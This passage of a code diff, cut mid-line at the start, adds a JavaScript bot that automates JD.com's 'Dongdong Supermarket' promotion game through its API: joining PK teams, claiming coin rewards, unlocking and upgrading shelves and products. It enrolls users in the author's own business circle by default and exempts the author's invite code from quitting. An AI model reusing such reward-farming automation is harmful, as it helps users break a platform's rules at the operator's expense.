console.log(`加入战队失败,该战队已满\n无法加入`) + } else { + console.log(`加入战队其他未知情况:${JSON.stringify(res)}`) + } + } else { + console.log('\nupdatePkActivityId请求返回的pkActivityId与京东服务器返回不一致,暂时不加入战队') + } + } + } else if (joinStatus === 1) { + if (teamId) { + console.log(`inviteCode: [${inviteCode}]`); + console.log(`PK队伍teamId: [${teamId}]`); + console.log(`PK队伍名称: [${currentUserPkInfo && currentUserPkInfo.teamName}]`); + console.log(`我邀请的人数:${inviteCount}\n`) + console.log(`\n我方战队战队 [${currentUserPkInfo && currentUserPkInfo.teamName}]/【${currentUserPkInfo && currentUserPkInfo.teamCount}】`); + console.log(`对方战队战队 [${pkUserPkInfo && pkUserPkInfo.teamName}]/【${pkUserPkInfo && pkUserPkInfo.teamCount}】\n`); + } + } + if (pkStatus === 1) { + console.log(`商圈PK进行中\n`) + if (!teamId) { + const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}\n`) + if (receivedPkTeamPrize.data.bizCode === 0) { + if (receivedPkTeamPrize.data.result.pkResult === 1) { + const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; + message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + } + } else if (receivedPkTeamPrize.data.result.pkResult === 2) { + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) + } + } + } + } + } else if (pkStatus === 2) { + console.log(`商圈PK结束了`) + if (prizeInfo.pkPrizeStatus === 2) { + console.log(`开始领取商圈PK奖励`); + // const receivedPkTeamPrize = await smtg_receivedPkTeamPrize(); + // console.log(`商圈PK奖励领取结果:${JSON.stringify(receivedPkTeamPrize)}`) + // if (receivedPkTeamPrize.data.bizCode === 0) { + // if (receivedPkTeamPrize.data.result.pkResult === 1) { + // const { pkTeamPrizeInfoVO } = receivedPkTeamPrize.data.result; + // message += `【商圈PK奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK获胜\n【奖励】${pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + // } + // } else if (receivedPkTeamPrize.data.result.pkResult === 2) { + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈队伍】PK失败`) + // } + // } + // } + } else if (prizeInfo.pkPrizeStatus === 1) { + console.log(`商圈PK奖励已经领取\n`) + } + } else if (pkStatus === 3) { + console.log(`商圈PK暂停中\n`) + } + } else { + console.log(`\n${JSON.stringify(smtg_getTeamPkDetailInfoRes)}\n`) + } + return + const businessCirclePKDetailRes = await smtg_businessCirclePKDetail(); + if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 0) { + const { businessCircleVO, otherBusinessCircleVO, inviteCode, pkSettleTime } = businessCirclePKDetailRes.data.result; + console.log(`\n【您的商圈inviteCode互助码】:\n${inviteCode}\n\n`); + const businessCircleIndexRes = await smtg_businessCircleIndex(); + const { result } = businessCircleIndexRes.data; + const { pkPrizeStatus, pkStatus } = result; + if (pkPrizeStatus === 2) { + console.log(`开始领取商圈PK奖励`); + const getPkPrizeRes = await smtg_getPkPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) + if (getPkPrizeRes.data.bizCode === 0) { + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; + message += `【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功\n`; + } + } + console.log(`我方商圈人气值/对方商圈人气值:${businessCircleVO.hotPoint}/${otherBusinessCircleVO.hotPoint}`); + console.log(`我方商圈成员数量/对方商圈成员数量:${businessCircleVO.memberCount}/${otherBusinessCircleVO.memberCount}`); + message += `【我方商圈】${businessCircleVO.memberCount}/${businessCircleVO.hotPoint}\n`; + message += `【对方商圈】${otherBusinessCircleVO.memberCount}/${otherBusinessCircleVO.hotPoint}\n`; + // message += `【我方商圈人气值】${businessCircleVO.hotPoint}\n`; + // message += `【对方商圈人气值】${otherBusinessCircleVO.hotPoint}\n`; + businessCircleJump = $.getdata('jdBusinessCircleJump') ? $.getdata('jdBusinessCircleJump') : businessCircleJump; + if ($.isNode() && process.env.jdBusinessCircleJump) { + businessCircleJump = process.env.jdBusinessCircleJump; + } + if (`${businessCircleJump}` === 'false') { + console.log(`\n小于对方300热力值自动更换商圈队伍: 您设置的是禁止自动更换商圈队伍\n`); + return + } + if (otherBusinessCircleVO.hotPoint - businessCircleVO.hotPoint > 300 && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000))) { + //退出该商圈 + if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; + console.log(`商圈PK已过1天,对方商圈人气值还大于我方商圈人气值300,退出该商圈重新加入`); + await smtg_quitBusinessCircle(); + } else if (otherBusinessCircleVO.hotPoint > businessCircleVO.hotPoint && (Date.now() > (pkSettleTime - 24 * 60 * 60 * 1000 * 2))) { + //退出该商圈 + if (inviteCode === '-4msulYas0O2JsRhE-2TA5XZmBQ') return; + console.log(`商圈PK已过2天,对方商圈人气值还大于我方商圈人气值,退出该商圈重新加入`); + await smtg_quitBusinessCircle(); + } + } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 222) { + console.log(`${businessCirclePKDetailRes.data.bizMsg}`); + console.log(`开始领取商圈PK奖励`); + const getPkPrizeRes = await smtg_getPkPrize(); + console.log(`商圈PK奖励领取结果:${JSON.stringify(getPkPrizeRes)}`) + if (getPkPrizeRes && getPkPrizeRes.data.bizCode === 0) { + const { pkPersonPrizeInfoVO, pkTeamPrizeInfoVO } = getPkPrizeRes.data.result; + $.msg($.name, '', `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + if ($.isNode()) { + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】 ${$.nickName}\n【商圈PK奖励】${pkPersonPrizeInfoVO.blueCoin + pkTeamPrizeInfoVO.blueCoin}蓝币领取成功`) + } + } + } else if (businessCirclePKDetailRes && businessCirclePKDetailRes.data.bizCode === 206) { + console.log(`您暂未加入商圈,现在给您加入作者的商圈`); + const joinBusinessCircleRes = await smtg_joinBusinessCircle(myCircleId); + console.log(`参加商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) + if (joinBusinessCircleRes.data.bizCode !== 0) { + console.log(`您加入作者的商圈失败,现在给您随机加入一个商圈`); + const BusinessCircleList = await smtg_getBusinessCircleList(); + if (BusinessCircleList.data.bizCode === 0) { + const { businessCircleVOList } = BusinessCircleList.data.result; + const { circleId } = businessCircleVOList[randomNumber(0, businessCircleVOList.length)]; + const joinBusinessCircleRes = await smtg_joinBusinessCircle(circleId); + console.log(`随机加入商圈结果:${JSON.stringify(joinBusinessCircleRes)}`) + } + } + } else { + console.log(`访问商圈详情失败:${JSON.stringify(businessCirclePKDetailRes)}`); + } +} +//我的货架 +async function myProductList() { + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + console.log(`\n货架数量:${shelfList && shelfList.length}`) + for (let item of shelfList) { + console.log(`\nshelfId/name : ${item.shelfId}/${item.name}`); + console.log(`货架等级 level ${item.level}/${item.maxLevel}`); + console.log(`上架状态 groundStatus ${item.groundStatus}`); + console.log(`解锁状态 unlockStatus ${item.unlockStatus}`); + console.log(`升级状态 upgradeStatus ${item.upgradeStatus}`); + if (item.unlockStatus === 0) { + console.log(`${item.name}不可解锁`) + } else if (item.unlockStatus === 1) { + console.log(`${item.name}可解锁`); + await smtg_unlockShelf(item.shelfId); + } else if (item.unlockStatus === 2) { + console.log(`${item.name}已经解锁`) + } + if (item.groundStatus === 1) { + console.log(`${item.name}可上架`); + const productListRes = await smtg_shelfProductList(item.shelfId); + if (productListRes.data.bizCode === 0) { + const { productList } = productListRes.data.result; + if (productList && productList.length > 0) { + // 此处限时商品未分配才会出现 + let limitTimeProduct = []; + for (let item of productList) { + if (item.productType === 2) { + limitTimeProduct.push(item); + } + } + if (limitTimeProduct && limitTimeProduct.length > 0) { + //上架限时商品 + await smtg_ground(limitTimeProduct[0].productId, item.shelfId); + } else { + await smtg_ground(productList[productList.length - 1].productId, item.shelfId); + } + } else { + console.log("无可上架产品"); + await unlockProductByCategory(item.shelfId.split('-')[item.shelfId.split('-').length - 1]) + } + } + } else if (item.groundStatus === 2 || item.groundStatus === 3) { + if (item.productInfo.productType === 2) { + console.log(`[${item.name}][限时商品]`) + } else if (item.productInfo.productType === 1){ + console.log(`[${item.name}]`) + } else { + console.log(`[${item.name}][productType:${item.productInfo.productType}]`) + } + } + } + } +} +//根据类型解锁一个商品,货架可上架商品时调用 +async function unlockProductByCategory(category) { + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + let productListByCategory = []; + const { productList } = smtgProductListRes.data.result; + for (let item of productList) { + if (item['unlockStatus'] === 1 && item['shelfCategory'].toString() === category) { + productListByCategory.push(item); + } + } + if (productListByCategory && productListByCategory.length > 0) { + console.log(`待解锁的商品数量:${productListByCategory.length}`); + await smtg_unlockProduct(productListByCategory[productListByCategory.length - 1]['productId']); + } else { + console.log("该类型商品暂时无法解锁"); + } + } +} +//升级货架和商品 +async function upgrade() { + superMarketUpgrade = $.getdata('jdSuperMarketUpgrade') ? $.getdata('jdSuperMarketUpgrade') : superMarketUpgrade; + if ($.isNode() && process.env.SUPERMARKET_UPGRADE) { + superMarketUpgrade = process.env.SUPERMARKET_UPGRADE; + } + if (`${superMarketUpgrade}` === 'false') { + console.log(`\n自动升级: 您设置的是关闭自动升级\n`); + return + } + console.log(`\n*************开始检测升级商品,如遇到商品能解锁,则优先解锁***********`) + console.log('目前没有平稳升级,只取倒数几个商品进行升级,普通货架取倒数4个商品,冰柜货架取倒数3个商品,水果货架取倒数2个商品') + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + let productType1 = [], shelfCategory_1 = [], shelfCategory_2 = [], shelfCategory_3 = []; + const { productList } = smtgProductListRes.data.result; + for (let item of productList) { + if (item['productType'] === 1) { + productType1.push(item); + } + } + for (let item2 of productType1) { + if (item2['shelfCategory'] === 1) { + shelfCategory_1.push(item2); + } + if (item2['shelfCategory'] === 2) { + shelfCategory_2.push(item2); + } + if (item2['shelfCategory'] === 3) { + shelfCategory_3.push(item2); + } + } + shelfCategory_1 = shelfCategory_1.slice(-4); + shelfCategory_2 = shelfCategory_2.slice(-3); + shelfCategory_3 = shelfCategory_3.slice(-2); + const shelfCategorys = shelfCategory_1.concat(shelfCategory_2).concat(shelfCategory_3); + console.log(`\n商品名称 归属货架 目前等级 解锁状态 可升级状态`) + for (let item of shelfCategorys) { + console.log(` ${item["name"].length<3?item["name"]+`\xa0`:item["name"]} ${item['shelfCategory'] === 1 ? '普通货架' : item['shelfCategory'] === 2 ? '冰柜货架' : item['shelfCategory'] === 3 ? '水果货架':'未知货架'} ${item["unlockStatus"] === 0 ? '---' : item["level"]+'级'} ${item["unlockStatus"] === 0 ? '未解锁' : '已解锁'} ${item["upgradeStatus"] === 1 ? '可以升级' : item["upgradeStatus"] === 0 ? '不可升级':item["upgradeStatus"]}`) + } + shelfCategorys.sort(sortSyData); + for (let item of shelfCategorys) { + if (item['unlockStatus'] === 1) { + console.log(`\n开始解锁商品:${item['name']}`) + await smtg_unlockProduct(item['productId']); + break; + } + if (item['upgradeStatus'] === 1) { + console.log(`\n开始升级商品:${item['name']}`) + await smtg_upgradeProduct(item['productId']); + break; + } + } + } + console.log('\n**********开始检查能否升级货架***********'); + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + let shelfList_upgrade = []; + for (let item of shelfList) { + if (item['upgradeStatus'] === 1) { + shelfList_upgrade.push(item); + } + } + console.log(`待升级货架数量${shelfList_upgrade.length}个`); + if (shelfList_upgrade && shelfList_upgrade.length > 0) { + shelfList_upgrade.sort(sortSyData); + console.log("\n可升级货架名 等级 升级所需金币"); + for (let item of shelfList_upgrade) { + console.log(` [${item["name"]}] ${item["level"]}/${item["maxLevel"]} ${item["upgradeCostGold"]}`); + } + console.log(`开始升级[${shelfList_upgrade[0].name}]货架,当前等级${shelfList_upgrade[0].level},所需金币${shelfList_upgrade[0].upgradeCostGold}\n`); + await smtg_upgradeShelf(shelfList_upgrade[0].shelfId); + } + } +} +async function manageProduct() { + console.log(`安排上货(单价最大商品)`); + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + console.log(`我的货架数量:${shelfList && shelfList.length}`); + let shelfListUnlock = [];//可以上架的货架 + for (let item of shelfList) { + if (item['groundStatus'] === 1 || item['groundStatus'] === 2) { + shelfListUnlock.push(item); + } + } + for (let item of shelfListUnlock) { + const productListRes = await smtg_shelfProductList(item.shelfId);//查询该货架可以上架的商品 + if (productListRes.data.bizCode === 0) { + const { productList } = productListRes.data.result; + let productNow = [], productList2 = []; + for (let item1 of productList) { + if (item1['groundStatus'] === 2) { + productNow.push(item1); + } + if (item1['productType'] === 1) { + productList2.push(item1); + } + } + // console.log(`productNow${JSON.stringify(productNow)}`) + // console.log(`productList2${JSON.stringify(productList2)}`) + if (productList2 && productList2.length > 0) { + productList2.sort(sortTotalPriceGold); + // console.log(productList2) + if (productNow && productNow.length > 0) { + if (productList2.slice(-1)[0]['productId'] === productNow[0]['productId']) { + console.log(`货架[${item.shelfId}]${productNow[0]['name']}已上架\n`) + continue; + } + } + await smtg_ground(productList2.slice(-1)[0]['productId'], item['shelfId']) + } + } + } + } +} +async function limitTimeProduct() { + const smtgProductListRes = await smtg_productList(); + if (smtgProductListRes.data.bizCode === 0) { + const { productList } = smtgProductListRes.data.result; + let productList2 = []; + for (let item of productList) { + if (item['productType'] === 2 && item['groundStatus'] === 1) { + //未上架并且限时商品 + console.log(`出现限时商品[${item.name}]`) + productList2.push(item); + } + } + if (productList2 && productList2.length > 0) { + for (let item2 of productList2) { + const { shelfCategory } = item2; + const shelfListRes = await smtg_shelfList(); + if (shelfListRes.data.bizCode === 0) { + const { shelfList } = shelfListRes.data.result; + let shelfList2 = []; + for (let item3 of shelfList) { + if (item3['shelfCategory'] === shelfCategory && (item3['groundStatus'] === 1 || item3['groundStatus'] === 2)) { + shelfList2.push(item3['shelfId']); + } + } + if (shelfList2 && shelfList2.length > 0) { + const groundRes = await smtg_ground(item2['productId'], shelfList2.slice(-1)[0]); + if (groundRes.data.bizCode === 0) { + console.log(`限时商品上架成功`); + message += `【限时商品】上架成功\n`; + } + } + } + } + } else { + console.log(`限时商品已经上架或暂无限时商品`); + } + } +} +//领取店铺升级的蓝币奖励 +async function receiveUserUpgradeBlue() { + $.receiveUserUpgradeBlue = 0; + if ($.userUpgradeBlueVos && $.userUpgradeBlueVos.length > 0) { + for (let item of $.userUpgradeBlueVos) { + const receiveCoin = await smtgReceiveCoin({ "id": item.id, "type": 5 }) + // $.log(`\n${JSON.stringify(receiveCoin)}`) + if (receiveCoin && receiveCoin.data['bizCode'] === 0) { + $.receiveUserUpgradeBlue += receiveCoin.data.result['receivedBlue'] + } + } + $.log(`店铺升级奖励获取:${$.receiveUserUpgradeBlue}蓝币\n`) + } + const res = await smtgReceiveCoin({"type": 4, "channel": "18"}) + // $.log(`${JSON.stringify(res)}\n`) + if (res && res.data['bizCode'] === 0) { + console.log(`\n收取营业额:获得 ${res.data.result['receivedTurnover']}\n`); + } +} +async function Home() { + const homeRes = await smtgHome(); + if (homeRes && homeRes.data['bizCode'] === 0) { + const { result } = homeRes.data; + const { shopName, totalBlue } = result; + subTitle = shopName; + message += `【总蓝币】${totalBlue}个\n`; + } +} +//=============================================脚本使用到的京东API===================================== + +//===新版本 + +//查询有哪些货架 +function smtg_shopIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shopIndex', { "channel": 1 }), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + const { shopId, shelfList, merchandiseList, level } = data.data['result']; + message += `【店铺等级】${level}\n`; + if (shelfList && shelfList.length > 0) { + for (let item of shelfList) { + //status: 2可解锁,1可升级,-1不可解锁 + if (item['status'] === 2) { + $.log(`${item['name']}可解锁\n`) + await smtg_shelfUnlock({ shopId, "shelfId": item['id'], "channel": 1 }) + } else if (item['status'] === 1) { + $.log(`${item['name']}可升级\n`) + await smtg_shelfUpgrade({ shopId, "shelfId": item['id'], "channel": 1, "targetLevel": item['level'] + 1 }); + } else if (item['status'] === -1) { + $.log(`[${item['name']}] 未解锁`) + } else if (item['status'] === 0) { + $.log(`[${item['name']}] 已解锁,当前等级:${item['level']}级`) + } else { + $.log(`未知店铺状态(status):${item['status']}\n`) + } + } + } + if (data.data['result']['forSaleMerchandise']) { + $.log(`\n限时商品${data.data['result']['forSaleMerchandise']['name']}已上架`) + } else { + if (merchandiseList && merchandiseList.length > 0) { + for (let item of merchandiseList) { + console.log(`发现限时商品${item.name}\n`); + await smtg_sellMerchandise({"shopId": shopId,"merchandiseId": item['id'],"channel":"18"}) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁店铺 +function smtg_shelfUnlock(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUnlock', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`解锁店铺结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_shelfUpgrade(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfUpgrade', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`店铺升级结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//售卖限时商品API +function smtg_sellMerchandise(body) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_sellMerchandise', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + $.log(`限时商品售卖结果:${data}\n`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//新版东东超市 +function updatePkActivityId(url = 'https://raw.githubusercontent.com/xxx/updateTeam/master/jd_updateTeam.json') { + return new Promise(resolve => { + $.get({url}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function updatePkActivityIdCDN(url) { + return new Promise(async resolve => { + const headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + $.get({ url, headers, timeout: 10000, }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} +function smtgDoShopTask(taskId, itemId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId, + "channel": "18" + } + if (itemId) { + body.itemId = itemId; + } + $.get(taskUrl('smtg_doShopTask', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgObtainShopTaskPrize(taskId) { + return new Promise((resolve) => { + const body = { + "taskId": taskId + } + $.get(taskUrl('smtg_obtainShopTaskPrize', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgQueryShopTask() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_queryShopTask'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgSignList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_signList', { "channel": "18" }), (err, resp, data) => { + try { + // console.log('ddd----ddd', data) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//查询商圈任务列表 +function smtgQueryPkTask() { + return new Promise( (resolve) => { + $.get(taskUrl('smtg_queryPkTask'), async (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.bizCode === 0) { + const { taskList } = data.data.result; + console.log(`\n 商圈任务 状态`) + for (let item of taskList) { + if (item.taskStatus === 1) { + if (item.prizeStatus === 1) { + //任务已做完,但未领取奖励, 现在为您领取奖励 + await smtgObtainPkTaskPrize(item.taskId); + } else if (item.prizeStatus === 0) { + console.log(`[${item.title}] 已做完 ${item.finishNum}/${item.targetNum}`); + } + } else { + console.log(`[${item.title}] 未做完 ${item.finishNum}/${item.targetNum}`) + if (item.content) { + const { itemId } = item.content[item.type]; + console.log('itemId', itemId) + await smtgDoPkTask(item.taskId, itemId); + } + } + } + } else { + console.log(`${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//PK邀请好友 +function smtgDoAssistPkTask(code) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_doAssistPkTask', {"inviteCode": code}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgReceiveCoin(body) { + $.goldCoinData = {}; + return new Promise((resolve) => { + $.get(taskUrl('smtg_receiveCoin', body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取PK任务做完后的奖励 +function smtgObtainPkTaskPrize(taskId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_obtainPkTaskPrize', {"taskId": taskId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtgDoPkTask(taskId, itemId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_doPkTask', {"taskId": taskId, "itemId": itemId}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_joinPkTeam(teamId, inviteCode, sharePkActivityId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinPkTeam', { teamId, inviteCode, "channel": "3", sharePkActivityId }), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_getTeamPkDetailInfo() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getTeamPkDetailInfo'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_businessCirclePKDetail() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCirclePKDetail'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_getBusinessCircleList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getBusinessCircleList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//加入商圈API +function smtg_joinBusinessCircle(circleId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_joinBusinessCircle', { circleId }), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_businessCircleIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_businessCircleIndex'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_receivedPkTeamPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_receivedPkTeamPrize', {"channel": "1"}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//领取商圈PK奖励 +function smtg_getPkPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getPkPrize'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_quitBusinessCircle() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//我的货架 +function smtg_shelfList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//检查某个货架可以上架的商品列表 +function smtg_shelfProductList(shelfId) { + return new Promise((resolve) => { + console.log(`开始检查货架[${shelfId}] 可上架产品`) + $.get(taskUrl('smtg_shelfProductList', { shelfId }), (err, resp, data) => { + try { + // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//升级商品 +function smtg_upgradeProduct(productId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeProduct', { productId }), (err, resp, data) => { + try { + // console.log(`升级商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级商品结果\n${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁商品 +function smtg_unlockProduct(productId) { + return new Promise((resolve) => { + console.log(`开始解锁商品`) + $.get(taskUrl('smtg_unlockProduct', { productId }), (err, resp, data) => { + try { + // console.log(`解锁商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//升级货架 